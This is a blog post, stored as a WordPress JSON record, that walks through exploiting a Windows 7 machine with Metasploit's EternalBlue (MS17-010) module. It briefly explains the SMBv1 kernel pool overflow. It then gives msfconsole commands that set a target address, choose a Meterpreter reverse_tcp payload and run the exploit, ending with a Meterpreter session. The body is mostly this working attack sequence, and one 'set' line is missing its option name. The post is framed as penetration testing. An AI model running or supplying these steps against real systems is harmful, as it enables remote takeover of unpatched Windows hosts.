{"id":68,"date":"2017-11-15T12:27:29","date_gmt":"2017-11-15T12:27:29","guid":{"rendered":"http:\/\/tajdini.net\/blog\/?p=68"},"modified":"2020-12-20T11:17:55","modified_gmt":"2020-12-20T09:17:55","slug":"exploit-windows-pc-using-eternalblue-smb-remote-windows-kernel-pool-corruption","status":"publish","type":"post","link":"https:\/\/tajdini.net\/blog\/governance-risk-and-compliance\/exploit-windows-pc-using-eternalblue-smb-remote-windows-kernel-pool-corruption\/","title":{"rendered":"exploit windows PC using eternalblue smb remote windows kernel pool corruption"},"content":{"rendered":"<p>This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv! SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered.<\/p>\n<p><strong>Attacker: Kali Linux<\/strong><\/p>\n<p><strong>Target: window 7<\/strong><\/p>\n<p><strong>&nbsp;<\/strong>Open the terminal in your Kali Linux type msfconsole to load metasploit framework.<\/p>\n<p><strong>msfconsole<\/strong><\/p>\n<p><strong>use exploit\/windows\/smb\/ms17_010_eternalblue<\/strong><\/p>\n<p><strong>msf exploit(ms17_010_eternalblue) &gt;set rhost 192.168.1.8<\/strong><\/p>\n<p><strong>msf exploit(ms17_010_eternalblue) &gt;set 192.168.1.21<\/strong><\/p>\n<p><strong>msf exploit(ms17_010_eternalblue) &gt;set payload windows\/x64\/meterpreter\/reverse_tcp<\/strong><\/p>\n<p><strong>msf exploit(ms17_010_eternalblue) &gt;exploit<\/strong><\/p>\n<p>From screenshot you can see we have got meterpreter session after buffer overflow exploited by overwriting SMBV1 buffer.<\/p>\n<p><strong>Meterpreter&gt; sysinfo<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[225,227,228,230],"tags":[250,254,4,5,257,8,230],"class_list":["post-68","post","type-post","status-publish","format-standard","hentry","category-governance-risk-and-compliance","category-linux-and-open-source","category-malware-and-threat-analysis","category-penetration-testing","tag-grc","tag-kali-linux","tag-linux","tag-malware","tag-metasploit","tag-penetration-testing"],"_links":{"self":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/68","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/comments?post=68"}],"version-history":[{"count":3,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/68\/revisions"}],"predecessor-version":[{"id":8534,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/68\/revisions\/8534"}],"wp:attachment":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media?parent=68"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/categories?post=68"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/tags?post=68"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}